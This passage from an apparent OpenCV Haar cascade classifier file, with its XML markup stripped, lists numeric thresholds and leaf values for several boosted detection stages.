2.9765701293945312e-01 -9.6818156540393829e-02 + + + <_> + + 0 -1 716 3.8997188676148653e-04 + + + 6.2188401818275452e-02 -4.2040899395942688e-01 + + + <_> + + 0 -1 717 3.3579880837351084e-03 + + + 4.7498140484094620e-02 -6.3216882944107056e-01 + + + <_> + + 0 -1 718 -1.6745539382100105e-02 + + + 7.1098130941390991e-01 -3.9157349616289139e-02 + + + <_> + + 0 -1 719 -6.5409899689257145e-03 + + + -3.5043171048164368e-01 7.0616953074932098e-02 + + + <_> + + 0 -1 720 3.0016340315341949e-04 + + + 9.1902457177639008e-02 -2.4618670344352722e-01 + + + <_> + + 0 -1 721 1.4918990433216095e-02 + + + -5.1909450441598892e-02 5.6636041402816772e-01 + + + <_> + + 0 -1 722 4.8153079114854336e-04 + + + 6.4659558236598969e-02 -3.6590608954429626e-01 + + + <_> + + 0 -1 723 -3.0211321427486837e-04 + + + 1.7926569283008575e-01 -1.1410660296678543e-01 + + + <_> + + 0 -1 724 3.8521419628523290e-04 + + + 1.0345619916915894e-01 -2.0072460174560547e-01 + + + <_> + + 0 -1 725 8.0837132409214973e-03 + + + -6.6073462367057800e-02 3.0284249782562256e-01 + + + <_> + + 0 -1 726 -2.2804969921708107e-02 + + + 5.2962350845336914e-01 -4.0118999779224396e-02 + + + <_> + + 0 -1 727 1.9440450705587864e-04 + + + 8.1854820251464844e-02 -2.4663360416889191e-01 + + + <_> + + 0 -1 728 -1.2848090380430222e-02 + + + -3.4973311424255371e-01 5.6916229426860809e-02 + + + <_> + + 0 -1 729 -1.0937290498986840e-03 + + + 2.3368680477142334e-01 -9.1604806482791901e-02 + + + <_> + + 0 -1 730 1.0032650316134095e-03 + + + 1.1852180212736130e-01 -1.8469190597534180e-01 + + + <_> + + 0 -1 731 -4.4688429683446884e-02 + + + -6.4362460374832153e-01 3.0363269150257111e-02 + + + <_> + + 0 -1 732 8.1657543778419495e-03 + + + 4.3674658983945847e-02 -4.3002089858055115e-01 + + + <_> + + 0 -1 733 -1.1717810295522213e-02 + + + 4.1781479120254517e-01 -4.8233699053525925e-02 + + + <_> + + 0 -1 734 8.4277130663394928e-02 + + + 5.3461279720067978e-02 -3.7952190637588501e-01 + + + <_> + + 0 -1 735 1.4211839996278286e-02 + + + 4.4900938868522644e-02 -4.2981499433517456e-01 + + + <_> + + 0 -1 736 1.5028340276330709e-03 + + + 8.2227639853954315e-02 -2.4706399440765381e-01 + + + <_> + + 0 -1 737 1.0003579780459404e-02 + + + -5.7221669703722000e-02 3.4609371423721313e-01 + + + <_> + + 0 -1 738 -9.0706320479512215e-03 + + + 4.5058089494705200e-01 -4.2795319110155106e-02 + + + <_> + + 0 -1 739 -3.3141620224341750e-04 + + + 1.8336910009384155e-01 -1.0759949684143066e-01 + + + <_> + + 0 -1 740 1.9723279774188995e-01 + + + -3.0363829806447029e-02 6.6423428058624268e-01 + + + <_> + + 0 -1 741 -7.1258801035583019e-03 + + + -8.9225047826766968e-01 2.5669990107417107e-02 + + + <_> + + 0 -1 742 8.6921341717243195e-03 + + + -7.0764370262622833e-02 2.8210529685020447e-01 + + + <_> + + 0 -1 743 8.9262127876281738e-03 + + + 7.1078233420848846e-02 -3.0232560634613037e-01 + + + <_> + + 0 -1 744 5.7286009192466736e-02 + + + 5.0974130630493164e-02 -3.9196950197219849e-01 + + + <_> + + 0 -1 745 3.7920880131423473e-03 + + + 3.3841941505670547e-02 -5.1016288995742798e-01 + + + <_> + + 0 -1 746 -1.4508679741993546e-03 + + + 3.0879148840904236e-01 -6.3845083117485046e-02 + + + <_> + + 0 -1 747 9.8390132188796997e-04 + + + -1.3029569387435913e-01 1.4604410529136658e-01 + + + <_> + + 0 -1 748 -1.7221809830516577e-03 + + + 2.9157009720802307e-01 -6.8549558520317078e-02 + + + <_> + + 0 -1 749 1.0948250070214272e-02 + + + 3.4351408481597900e-02 -4.7702258825302124e-01 + + + <_> + + 0 -1 750 -1.7176309484057128e-05 + + + 1.6055269539356232e-01 -1.1690840125083923e-01 + + + <_> + + 0 -1 751 -5.4884208366274834e-03 + + + -4.3415889143943787e-01 4.6106241643428802e-02 + + + <_> + + 0 -1 752 -3.0975250992923975e-03 + + + 3.7943339347839355e-01 -5.6860551238059998e-02 + + + <_> + + 0 -1 753 6.4182081259787083e-03 + + + -1.5858210623264313e-01 1.2335419654846191e-01 + + + <_> + + 0 -1 754 1.1831239797174931e-02 + + + -4.0929291397333145e-02 4.5878958702087402e-01 + + + <_> + + 0 -1 755 1.3540499843657017e-02 + + + -5.3725559264421463e-02 3.5056120157241821e-01 + + + <_> + + 0 -1 756 -2.5932150892913342e-03 + + + 1.1010520160198212e-01 -1.6752210259437561e-01 + + + <_> + + 0 -1 757 1.6856270376592875e-03 + + + 6.6574357450008392e-02 -3.0835020542144775e-01 + + + <_> + + 0 -1 758 2.6524690911173820e-03 + + + 6.6318482160568237e-02 -2.7861338853836060e-01 + + + <_> + + 0 -1 759 -7.7341729775071144e-03 + + + 1.9718359410762787e-01 -1.0782919824123383e-01 + + + <_> + + 0 -1 760 5.0944271497428417e-03 + + + 8.5337489843368530e-02 -2.4847009778022766e-01 + + + <_> + + 0 -1 761 -2.9162371065467596e-03 + + + -4.7476351261138916e-01 3.3566489815711975e-02 + + + <_> + + 0 -1 762 3.0121419113129377e-03 + + + -4.7575380653142929e-02 4.2586800456047058e-01 + + + <_> + + 0 -1 763 3.1694869976490736e-03 + + + -1.0519450157880783e-01 1.7163459956645966e-01 + + + <_> + + 0 -1 764 2.2327560186386108e-01 + + + -1.4370209537446499e-02 9.2483651638031006e-01 + + + <_> + + 0 -1 765 -9.5585048198699951e-02 + + + -7.4206638336181641e-01 2.7818970382213593e-02 + + + <_> + + 0 -1 766 3.4773729566950351e-05 + + + -1.2765780091285706e-01 1.2926669418811798e-01 + + + <_> + + 0 -1 767 7.2459770308341831e-05 + + + -1.6518579423427582e-01 1.0036809742450714e-01 + + + + + <_> + 59 + -1.0566600561141968e+00 + + <_> + + 0 -1 768 -6.5778270363807678e-03 + + + 3.3815258741378784e-01 -1.5281909704208374e-01 + + + <_> + + 0 -1 769 -1.0922809597104788e-03 + + + 2.2282369434833527e-01 -1.9308499991893768e-01 + + + <_> + + 0 -1 770 -2.9759589582681656e-02 + + + 2.5959870219230652e-01 -1.5409409999847412e-01 + + + <_> + + 0 -1 771 -1.3147540390491486e-02 + + + 1.9033810496330261e-01 -1.6543999314308167e-01 + + + <_> + + 0 -1 772 -1.4396329643204808e-03 + + + 2.0071710646152496e-01 -1.2338940054178238e-01 + + + <_> + + 0 -1 773 -3.5928250290453434e-03 + + + 2.3985520005226135e-01 -1.2922149896621704e-01 + + + <_> + + 0 -1 774 -1.5314699849113822e-03 + + + -4.9014899134635925e-01 1.0275030136108398e-01 + + + <_> + + 0 -1 775 -6.2372139655053616e-03 + + + 3.1214639544487000e-01 -1.1405629664659500e-01 + + + <_> + + 0 -1 776 -3.3364649862051010e-02 + + + -4.9520879983901978e-01 5.1328450441360474e-02 + + + <_> + + 0 -1 777 -2.2827699780464172e-02 + + + 3.2558828592300415e-01 -6.5089307725429535e-02 + + + <_> + + 0 -1 778 -8.6199097335338593e-02 + + + -6.7646330595016479e-01 2.6985699310898781e-02 + + + <_> + + 0 -1 779 -2.1065981127321720e-03 + + + 2.2452430427074432e-01 -1.2610229849815369e-01 + + + <_> + + 0 -1 780 3.9120148867368698e-02 + + + 1.1329399794340134e-01 -2.6860630512237549e-01 + + + <_> + + 0 -1 781 3.5082739777863026e-03 + + + -1.1359959840774536e-01 2.5649771094322205e-01 + + + <_> + + 0 -1 782 5.9289898490533233e-04 + + + -1.4942969381809235e-01 1.6409839689731598e-01 + + + <_> + + 0 -1 783 7.1766850305721164e-04 + + + 9.9905692040920258e-02 -2.1967969834804535e-01 + + + <_> + + 0 -1 784 -2.1803600713610649e-02 + + + -3.1711721420288086e-01 8.2889586687088013e-02 + + + <_> + + 0 -1 785 -3.2962779514491558e-03 + + + -3.8048729300498962e-01 6.0819379985332489e-02 + + + <_> + + 0 -1 786 2.4196270387619734e-03 + + + -9.6013016998767853e-02 2.8540581464767456e-01 + + + <_> + + 0 -1 787 -4.4187481398694217e-04 + + + 2.2127939760684967e-01 -9.7434908151626587e-02 + + + <_> + + 0 -1 788 3.4523929934948683e-03 + + + 3.7553120404481888e-02 -5.7969051599502563e-01 + + + <_> + + 0 -1 789 -2.1834600716829300e-02 + + + 2.9562139511108398e-01 -8.0048300325870514e-02 + + + <_> + + 0 -1 790 -2.1309500152710825e-04 + + + 2.2814509272575378e-01 -1.0114189982414246e-01 + + + <_> + + 0 -1 791 -1.6166249988600612e-03 + + + -5.0541198253631592e-01 4.4764541089534760e-02 + + + <_> + + 0 -1 792 7.5959609821438789e-03 + + + 4.5986540615558624e-02 -4.1197681427001953e-01 + + + <_> + + 0 -1 793 3.8601809646934271e-03 + + + -8.6563169956207275e-02 2.4809999763965607e-01 + + + <_> + + 0 -1 794 6.0622231103479862e-03 + + + -7.5557373464107513e-02 2.8433260321617126e-01 + + + <_> + + 0 -1 795 -1.7097420059144497e-03 + + + -3.5295820236206055e-01 5.8410499244928360e-02 + + + <_> + + 0 -1 796 1.6515579074621201e-02 + + + -8.0486953258514404e-02 2.3537430167198181e-01 + + + <_> + + 0 -1 797 4.8465100117027760e-03 + + + 4.1895218193531036e-02 -4.8443049192428589e-01 + + + <_> + + 0 -1 798 -3.1167170032858849e-02 + + + 1.9192309677600861e-01 -1.0268159955739975e-01 + + + <_> + + 0 -1 799 6.1892281519249082e-04 + + + -2.1085770428180695e-01 9.3886926770210266e-02 + + + <_> + + 0 -1 800 1.1946310289204121e-02 + + + 3.9096169173717499e-02 -6.2248629331588745e-01 + + + <_> + + 0 -1 801 -7.5677200220525265e-03 + + + 1.5936839580535889e-01 -1.2250780314207077e-01 + + + <_> + + 0 -1 802 -5.3747411817312241e-02 + + + -5.5622178316116333e-01 4.1190009564161301e-02 + + + <_> + + 0 -1 803 1.5513530001044273e-02 + + + -3.9826881140470505e-02 6.2400728464126587e-01 + + + <_> + + 0 -1 804 1.5246650436893106e-03 + + + 7.0138677954673767e-02 -3.0789071321487427e-01 + + + <_> + + 0 -1 805 -4.8315100139006972e-04 + + + 1.7887659370899200e-01 -1.0958620160818100e-01 + + + <_> + + 0 -1 806 2.7374739293009043e-03 + + + 2.7478590607643127e-02 -8.8489568233489990e-01 + + + <_> + + 0 -1 807 -6.5787717700004578e-02 + + + -4.6432140469551086e-01 3.5037148743867874e-02 + + + <_> + + 0 -1 808 1.2409730115905404e-03 + + + -9.6479237079620361e-02 2.8779220581054688e-01 + + + <_> + + 0 -1 809 8.1398809561505914e-04 + + + 1.1511719971895218e-01 -1.6766160726547241e-01 + + + <_> + + 0 -1 810 2.3901820182800293e-02 + + + -3.2603189349174500e-02 6.0017347335815430e-01 + + + <_> + + 0 -1 811 2.7556600049138069e-02 + + + -6.6137343645095825e-02 2.9994478821754456e-01 + + + <_> + + 0 -1 812 -3.8070970913395286e-04 + + + -3.3881181478500366e-01 6.4450770616531372e-02 + + + <_> + + 0 -1 813 -1.3335429830476642e-03 + + + 1.4588660001754761e-01 -1.3217620551586151e-01 + + + <_> + + 0 -1 814 -9.3507990241050720e-03 + + + -5.1177829504013062e-01 3.4969471395015717e-02 + + + <_> + + 0 -1 815 7.6215229928493500e-03 + + + 2.3249529302120209e-02 -6.9619411230087280e-01 + + + <_> + + 0 -1 816 -5.3407860832521692e-05 + + + 2.3727379739284515e-01 -8.6910709738731384e-02 + + + <_> + + 0 -1 817 -1.5332329785451293e-03 + + + 1.9228410720825195e-01 -1.0422399640083313e-01 + + + <_> + + 0 -1 818 4.3135890737175941e-03 + + + -9.6219547092914581e-02 2.5601211190223694e-01 + + + <_> + + 0 -1 819 -2.3042880638968199e-04 + + + -3.1564751267433167e-01 5.8838598430156708e-02 + + + <_> + + 0 -1 820 -7.8411828726530075e-03 + + + -6.6340929269790649e-01 2.4500999599695206e-02 + + + <_> + + 0 -1 821 1.7103740572929382e-01 + + + 3.3831499516963959e-02 -4.5615941286087036e-01 + + + <_> + + 0 -1 822 -1.6011140542104840e-03 + + + 2.1574890613555908e-01 -8.3622530102729797e-02 + + + <_> + + 0 -1 823 -1.0535780340433121e-02 + + + 2.4552319943904877e-01 -8.2384489476680756e-02 + + + <_> + + 0 -1 824 -5.8351638726890087e-03 + + + -4.7807329893112183e-01 4.4086221605539322e-02 + + + <_> + + 0 -1 825 -1.8706109374761581e-02 + + + -6.0024029016494751e-01 2.1410040557384491e-02 + + + <_> + + 0 -1 826 -9.3307439237833023e-04 + + + 2.4323590099811554e-01 -7.4165716767311096e-02 + + + + + <_> + 88 + -9.7693431377410889e-01 + + <_> + + 0 -1 827 1.0646229609847069e-02 + + + -1.3861389458179474e-01 2.6494070887565613e-01 + + + <_> + + 0 -1 828 3.5298269242048264e-02 + + + -7.5821727514266968e-02 3.9021068811416626e-01 + + + <_> + + 0 -1 829 7.5638387352228165e-04 + + + -9.5521442592144012e-02 2.9061999917030334e-01 + + + <_> + + 0 -1 830 9.2497706413269043e-02 + + + -2.7704238891601562e-01 7.9474702477455139e-02 + + + <_> + + 0 -1 831 -2.9340879991650581e-03 + + + 2.2989539802074432e-01 -7.8550010919570923e-02 + + + <_> + + 0 -1 832 -8.6535848677158356e-02 + + + 4.7744810581207275e-01 -6.8231220357120037e-03 + + + <_> + + 0 -1 833 5.4699288739357144e-05 + + + -2.2642609477043152e-01 8.8192112743854523e-02 + + + <_> + + 0 -1 834 -3.6592520773410797e-02 + + + 2.7353870868682861e-01 -9.8606742918491364e-02 + + + <_> + + 0 -1 835 2.6469118893146515e-03 + + + -4.4083978980779648e-02 3.1445288658142090e-01 + + + <_> + + 0 -1 836 -4.4271810911595821e-03 + + + 2.3822729289531708e-01 -8.6784273386001587e-02 + + + <_> + + 0 -1 837 -5.1882481202483177e-03 + + + 1.5042769908905029e-01 -1.2672109901905060e-01 + + + <_> + + 0 -1 838 4.5530400238931179e-03 + + + -5.5945020169019699e-02 3.6501631140708923e-01 + + + <_> + + 0 -1 839 1.4562410302460194e-02 + + + 3.6397770047187805e-02 -5.3559190034866333e-01 + + + <_> + + 0 -1 840 6.8677567469421774e-05 + + + -1.7479629814624786e-01 1.1068709939718246e-01 + + + <_> + + 0 -1 841 -5.9744901955127716e-03 + + + 3.1077870726585388e-01 -6.6530227661132812e-02 + + + <_> + + 0 -1 842 -5.8691250160336494e-03 + + + -3.1901490688323975e-01 6.3931830227375031e-02 + + + <_> + + 0 -1 843 -1.1140310205519199e-02 + + + 2.4364790320396423e-01 -8.0935180187225342e-02 + + + <_> + + 0 -1 844 -5.8643531054258347e-02 + + + -7.6083260774612427e-01 3.0809629708528519e-02 + + + <_> + + 0 -1 845 -4.6097282320261002e-03 + + + -4.5315021276473999e-01 2.9879059642553329e-02 + + + <_> + + 0 -1 846 -9.3032103031873703e-03 + + + 1.4513379335403442e-01 -1.1033169925212860e-01 + + + <_> + + 0 -1 847 1.3253629440441728e-03 + + + -9.7698956727981567e-02 1.9646440446376801e-01 + + + <_> + + 0 -1 848 4.9800761044025421e-03 + + + 3.3648081123828888e-02 -3.9792209863662720e-01 + + + <_> + + 0 -1 849 -7.6542161405086517e-03 + + + 9.0841993689537048e-02 -1.5967549383640289e-01 + + + <_> + + 0 -1 850 -3.8920590281486511e-01 + + + -6.6571092605590820e-01 1.9028829410672188e-02 + + + <_> + + 0 -1 851 -1.0019669681787491e-01 + + + -5.7559269666671753e-01 2.4282779544591904e-02 + + + <_> + + 0 -1 852 7.3541211895644665e-04 + + + 8.7919801473617554e-02 -1.6195340454578400e-01 + + + <_> + + 0 -1 853 -3.4802639856934547e-03 + + + 2.6064491271972656e-01 -6.0200810432434082e-02 + + + <_> + + 0 -1 854 8.4000425413250923e-03 + + + -1.0979729890823364e-01 1.5707309544086456e-01 + + + <_> + + 0 -1 855 2.3786011151969433e-03 + + + 3.6058239638805389e-02 -4.7277191281318665e-01 + + + <_> + + 0 -1 856 7.3831682093441486e-03 + + + -3.5756360739469528e-02 4.9498590826988220e-01 + + + <_> + + 0 -1 857 3.2115620560944080e-03 + + + -1.0125560313463211e-01 1.5747989714145660e-01 + + + <_> + + 0 -1 858 -7.8209668397903442e-02 + + + -7.6627081632614136e-01 2.2965829819440842e-02 + + + <_> + + 0 -1 859 5.3303989261621609e-05 + + + -1.3414350152015686e-01 1.1114919930696487e-01 + + + <_> + + 0 -1 860 -9.6419155597686768e-03 + + + 2.5068029761314392e-01 -6.6608138382434845e-02 + + + <_> + + 0 -1 861 -7.1092672646045685e-02 + + + -4.0056818723678589e-01 4.0297791361808777e-02 + + + <_> + + 0 -1 862 3.5171560011804104e-04 + + + 4.1861180216073990e-02 -3.2961198687553406e-01 + + + <_> + + 0 -1 863 -3.3458150574006140e-04 + + + -2.6029831171035767e-01 6.7892737686634064e-02 + + + <_> + + 0 -1 864 -4.1451421566307545e-03 + + + 2.3967699706554413e-01 -7.2093337774276733e-02 + + + <_> + + 0 -1 865 3.1754500232636929e-03 + + + -7.1235269308090210e-02 2.4128450453281403e-01 + + + <_> + + 0 -1 866 -5.5184490047395229e-03 + + + 5.0320237874984741e-01 -2.9686680063605309e-02 + + + <_> + + 0 -1 867 -3.0242869979701936e-04 + + + 2.4879050254821777e-01 -5.6758578866720200e-02 + + + <_> + + 0 -1 868 -1.3125919504091144e-03 + + + 3.1747800111770630e-01 -4.1845861822366714e-02 + + + <_> + + 0 -1 869 -2.7123570907860994e-04 + + + -2.7042070031166077e-01 5.6828990578651428e-02 + + + <_> + + 0 -1 870 -7.3241777718067169e-03 + + + 2.7556678652763367e-01 -5.4252970963716507e-02 + + + <_> + + 0 -1 871 -1.6851710155606270e-02 + + + -3.4852910041809082e-01 4.5368999242782593e-02 + + + <_> + + 0 -1 872 2.9902100563049316e-02 + + + 3.1621079891920090e-02 -4.3114370107650757e-01 + + + <_> + + 0 -1 873 2.8902660124003887e-03 + + + 3.8029961287975311e-02 -3.7027099728584290e-01 + + + <_> + + 0 -1 874 -1.9242949783802032e-03 + + + 2.4800279736518860e-01 -5.9333298355340958e-02 + + + <_> + + 0 -1 875 4.9354149959981441e-03 + + + -8.3068400621414185e-02 2.2043809294700623e-01 + + + <_> + + 0 -1 876 8.2075603306293488e-02 + + + -1.9413439556956291e-02 6.9089287519454956e-01 + + + <_> + + 0 -1 877 -2.4699489586055279e-04 + + + -2.4660569429397583e-01 6.4776450395584106e-02 + + + <_> + + 0 -1 878 -1.8365769647061825e-03 + + + 2.8836160898208618e-01 -5.3390458226203918e-02 + + + <_> + + 0 -1 879 -4.9553811550140381e-03 + + + 1.2740829586982727e-01 -1.2559419870376587e-01 + + + <_> + + 0 -1 880 -8.3086621016263962e-03 + + + 2.3478110134601593e-01 -7.1676492691040039e-02 + + + <_> + + 0 -1 881 -1.0879919677972794e-01 + + + -2.5992238521575928e-01 5.8689739555120468e-02 + + + <_> + + 0 -1 882 -9.6786450594663620e-03 + + + -7.0720428228378296e-01 1.8749259412288666e-02 + + + <_> + + 0 -1 883 -2.7136830613017082e-02 + + + -5.8384227752685547e-01 2.1684130653738976e-02 + + + <_> + + 0 -1 884 -6.5389778465032578e-03 + + + -5.9748911857604980e-01 2.1480310708284378e-02 + + + <_> + + 0 -1 885 -1.2095630168914795e-02 + + + 1.3269039988517761e-01 -9.9722720682621002e-02 + + + <_> + + 0 -1 886 -1.6776099801063538e-01 + + + -5.6655067205429077e-01 3.2123088836669922e-02 + + + <_> + + 0 -1 887 -1.3262550346553326e-02 + + + 1.1495590209960938e-01 -1.1738389730453491e-01 + + + <_> + + 0 -1 888 7.6744519174098969e-02 + + + -3.1413231045007706e-02 5.9935492277145386e-01 + + + <_> + + 0 -1 889 5.0785229541361332e-03 + + + -5.2911940962076187e-02 2.3342399299144745e-01 + + + <_> + + 0 -1 890 3.1800279393792152e-03 + + + -7.7734388411045074e-02 1.7652909457683563e-01 + + + <_> + + 0 -1 891 -1.7729829996824265e-03 + + + 1.9591629505157471e-01 -7.9752199351787567e-02 + + + <_> + + 0 -1 892 -4.8560940194875002e-04 + + + -2.8800371289253235e-01 4.9047119915485382e-02 + + + <_> + + 0 -1 893 3.6554320831783116e-04 + + + 6.7922897636890411e-02 -2.2499430179595947e-01 + + + <_> + + 0 -1 894 -2.6938671362586319e-04 + + + 1.6582170128822327e-01 -8.9744098484516144e-02 + + + <_> + + 0 -1 895 7.8684233129024506e-02 + + + 2.6081679388880730e-02 -5.5693739652633667e-01 + + + <_> + + 0 -1 896 -7.3774810880422592e-04 + + + 1.4036870002746582e-01 -1.1800300329923630e-01 + + + <_> + + 0 -1 897 2.3957829922437668e-02 + + + 3.0470740050077438e-02 -4.6159979701042175e-01 + + + <_> + + 0 -1 898 -1.6239080578088760e-03 + + + 2.6327079534530640e-01 -5.6765370070934296e-02 + + + <_> + + 0 -1 899 -9.0819748584181070e-04 + + + 1.5462459623813629e-01 -1.1087069660425186e-01 + + + <_> + + 0 -1 900 3.9806248969398439e-04 + + + 5.5630370974540710e-02 -2.8331959247589111e-01 + + + <_> + + 0 -1 901 2.0506449509412050e-03 + + + -9.1604836285114288e-02 1.7585539817810059e-01 + + + <_> + + 0 -1 902 2.6742549613118172e-02 + + + 6.2003031373023987e-02 -2.4487000703811646e-01 + + + <_> + + 0 -1 903 -2.1497008856385946e-03 + + + 2.9449298977851868e-01 -5.3218148648738861e-02 + + + <_> + + 0 -1 904 5.6671658530831337e-03 + + + -6.4298242330551147e-02 2.4905680119991302e-01 + + + <_> + + 0 -1 905 6.8317902332637459e-05 + + + -1.6819630563259125e-01 9.6548579633235931e-02 + + + <_> + + 0 -1 906 1.7600439605303109e-04 + + + 6.5308012068271637e-02 -2.4267880618572235e-01 + + + <_> + + 0 -1 907 4.1861608624458313e-03 + + + -9.7988583147525787e-02 1.8052889406681061e-01 + + + <_> + + 0 -1 908 -2.1808340679854155e-03 + + + 1.9231270253658295e-01 -9.4123929738998413e-02 + + + <_> + + 0 -1 909 2.1730400621891022e-02 + + + 3.5578511655330658e-02 -4.5088538527488708e-01 + + + <_> + + 0 -1 910 -1.4780269935727119e-02 + + + -4.3927010893821716e-01 3.1735591590404510e-02 + + + <_> + + 0 -1 911 -3.6145891062915325e-03 + + + 1.9811479747295380e-01 -7.7701419591903687e-02 + + + <_> + + 0 -1 912 1.8892709631472826e-03 + + + 1.9962439313530922e-02 -7.2041720151901245e-01 + + + <_> + + 0 -1 913 -1.3822480104863644e-03 + + + 9.8466947674751282e-02 -1.4881080389022827e-01 + + + <_> + + 0 -1 914 -3.9505911991000175e-03 + + + 1.1593230068683624e-01 -1.2791970372200012e-01 + + + + + <_> + 58 + -1.0129359960556030e+00 + + <_> + + 0 -1 915 -1.9395539537072182e-02 + + + 4.7474750876426697e-01 -1.1721090227365494e-01 + + + <_> + + 0 -1 916 1.3118919916450977e-02 + + + -2.5552129745483398e-01 1.6378800570964813e-01 + + + <_> + + 0 -1 917 -5.1606801571324468e-04 + + + 1.9452619552612305e-01 -1.7448890209197998e-01 + + + <_> + + 0 -1 918 -1.3184159994125366e-02 + + + 4.4181451201438904e-01 -9.0048752725124359e-02 + + + <_> + + 0 -1 919 3.4657081123441458e-03 + + + -1.3477090001106262e-01 1.8056340515613556e-01 + + + <_> + + 0 -1 920 6.2980200164020061e-03 + + + -5.4164979606866837e-02 3.6033380031585693e-01 + + + <_> + + 0 -1 921 1.6879989998415112e-03 + + + -1.9997949898242950e-01 1.2021599709987640e-01 + + + <_> + + 0 -1 922 3.6039709812030196e-04 + + + 1.0524140298366547e-01 -2.4116060137748718e-01 + + + <_> + + 0 -1 923 -1.5276849735528231e-03 + + + 2.8135529160499573e-01 -6.8964816629886627e-02 + + + <_> + + 0 -1 924 3.5033570602536201e-03 + + + -8.2519583404064178e-02 4.0713590383529663e-01 + + + <_> + + 0 -1 925 -4.7337161377072334e-03 + + + 1.9727009534835815e-01 -1.1710140109062195e-01 + + + <_> + + 0 -1 926 -1.1557149700820446e-02 + + + -5.6061112880706787e-01 6.8170957267284393e-02 + + + <_> + + 0 -1 927 -2.7445720508694649e-02 + + + 4.9718621373176575e-01 -6.2380149960517883e-02 + + + <_> + + 0 -1 928 -5.2825778722763062e-02 + + + 1.6921220719814301e-01 -1.3093550503253937e-01 + + + <_> + + 0 -1 929 -2.9849699139595032e-01 + + + -6.4649671316146851e-01 4.0076818317174911e-02 + + + <_> + + 0 -1 930 -2.6307269581593573e-04 + + + 2.5127941370010376e-01 -8.9494839310646057e-02 + + + <_> + + 0 -1 931 2.3261709429789335e-04 + + + -8.6843989789485931e-02 2.3831979930400848e-01 + + + <_> + + 0 -1 932 2.3631360090803355e-04 + + + 1.1554460227489471e-01 -1.8936349451541901e-01 + + + <_> + + 0 -1 933 2.0742209162563086e-03 + + + -4.8594851046800613e-02 5.7485991716384888e-01 + + + <_> + + 0 -1 934 -7.0308889262378216e-03 + + + -5.4120808839797974e-01 4.8743750900030136e-02 + + + <_> + + 0 -1 935 8.2652270793914795e-03 + + + 2.6494519785046577e-02 -6.1728459596633911e-01 + + + <_> + + 0 -1 936 2.0042760297656059e-04 + + + -1.1768630146980286e-01 1.6333860158920288e-01 + + + <_> + + 0 -1 937 1.6470040427520871e-03 + + + -5.9954918920993805e-02 3.5179701447486877e-01 + + + <_> + + 0 -1 938 -3.5642538568936288e-04 + + + -3.4420299530029297e-01 6.4948253333568573e-02 + + + <_> + + 0 -1 939 -3.0935870483517647e-02 + + + 1.9979700446128845e-01 -9.7693696618080139e-02 + + + <_> + + 0 -1 940 -6.3578772824257612e-04 + + + -3.1481391191482544e-01 5.9425041079521179e-02 + + + <_> + + 0 -1 941 -1.1862180195748806e-02 + + + 2.0043690502643585e-01 -8.9447543025016785e-02 + + + <_> + + 0 -1 942 7.1508930996060371e-03 + + + -3.9006061851978302e-02 5.3327161073684692e-01 + + + <_> + + 0 -1 943 -2.0059191156178713e-03 + + + -2.8469720482826233e-01 7.0723608136177063e-02 + + + <_> + + 0 -1 944 3.6412389017641544e-03 + + + -1.0660319775342941e-01 2.4944800138473511e-01 + + + <_> + + 0 -1 945 -1.3467429578304291e-01 + + + 4.9910080432891846e-01 -4.0332220494747162e-02 + + + <_> + + 0 -1 946 -2.2547659464180470e-03 + + + 1.6851690411567688e-01 -1.1119280010461807e-01 + + + <_> + + 0 -1 947 4.3842289596796036e-03 + + + 8.6139492690563202e-02 -2.7431771159172058e-01 + + + <_> + + 0 -1 948 -7.3361168615520000e-03 + + + 2.4875210225582123e-01 -9.5919162034988403e-02 + + + <_> + + 0 -1 949 6.4666912658140063e-04 + + + 6.7431576550006866e-02 -3.3754080533981323e-01 + + + <_> + + 0 -1 950 2.2983769304119051e-04 + + + -8.3903051912784576e-02 2.4584099650382996e-01 + + + <_> + + 0 -1 951 6.7039071582257748e-03 + + + 2.9079329222440720e-02 -6.9055938720703125e-01 + + + <_> + + 0 -1 952 5.0734888645820320e-05 + + + -1.5696719288825989e-01 1.1965429782867432e-01 + + + <_> + + 0 -1 953 -2.0335559546947479e-01 + + + -6.9506347179412842e-01 2.7507519349455833e-02 + + + <_> + + 0 -1 954 9.4939414411783218e-03 + + + -8.7449371814727783e-02 2.3968330025672913e-01 + + + <_> + + 0 -1 955 -2.4055240210145712e-03 + + + 2.1150960028171539e-01 -1.3148930668830872e-01 + + + <_> + + 0 -1 956 -1.1342419747961685e-04 + + + 1.5233789384365082e-01 -1.2725900113582611e-01 + + + <_> + + 0 -1 957 1.4992210082709789e-02 + + + -3.4127969294786453e-02 5.0624072551727295e-01 + + + <_> + + 0 -1 958 7.4068200774490833e-04 + + + 4.8764750361442566e-02 -4.0225321054458618e-01 + + + <_> + + 0 -1 959 -4.2459447868168354e-03 + + + 2.1554760634899139e-01 -8.7126992642879486e-02 + + + <_> + + 0 -1 960 6.8655109498649836e-04 + + + -7.5418718159198761e-02 2.6405909657478333e-01 + + + <_> + + 0 -1 961 -1.6751460731029510e-02 + + + -6.7729032039642334e-01 3.2918728888034821e-02 + + + <_> + + 0 -1 962 -2.6301678735762835e-04 + + + 2.2725869715213776e-01 -9.0534873306751251e-02 + + + <_> + + 0 -1 963 4.3398610432632267e-04 + + + 5.5894378572702408e-02 -3.5592669248580933e-01 + + + <_> + + 0 -1 964 -2.0150149241089821e-02 + + + 1.9162760674953461e-01 -9.4929970800876617e-02 + + + <_> + + 0 -1 965 -1.4452129602432251e-02 + + + -6.8510341644287109e-01 2.5422170758247375e-02 + + + <_> + + 0 -1 966 -2.1149739623069763e-02 + + + 3.7533190846443176e-01 -5.1496580243110657e-02 + + + <_> + + 0 -1 967 2.1137770265340805e-02 + + + 2.9083080589771271e-02 -8.9430367946624756e-01 + + + <_> + + 0 -1 968 1.1524349683895707e-03 + + + -6.9694936275482178e-02 2.7299800515174866e-01 + + + <_> + + 0 -1 969 -1.9070580310653895e-04 + + + 1.8228119611740112e-01 -9.8367072641849518e-02 + + + <_> + + 0 -1 970 -3.6349631845951080e-02 + + + -8.3693099021911621e-01 2.5055760517716408e-02 + + + <_> + + 0 -1 971 -9.0632075443863869e-03 + + + 4.1463500261306763e-01 -5.4413449019193649e-02 + + + <_> + + 0 -1 972 -2.0535490475594997e-03 + + + -1.9750310480594635e-01 1.0506899654865265e-01 + + + + + <_> + 93 + -9.7747492790222168e-01 + + <_> + + 0 -1 973 -2.2717019543051720e-02 + + + 2.4288550019264221e-01 -1.4745520055294037e-01 + + + <_> + + 0 -1 974 2.5505950674414635e-02 + + + -2.8551739454269409e-01 1.0837209969758987e-01 + + + <_> + + 0 -1 975 -2.6640091091394424e-03 + + + 2.9275730252265930e-01 -1.0372710227966309e-01 + + + <_> + + 0 -1 976 -3.8115289062261581e-03 + + + 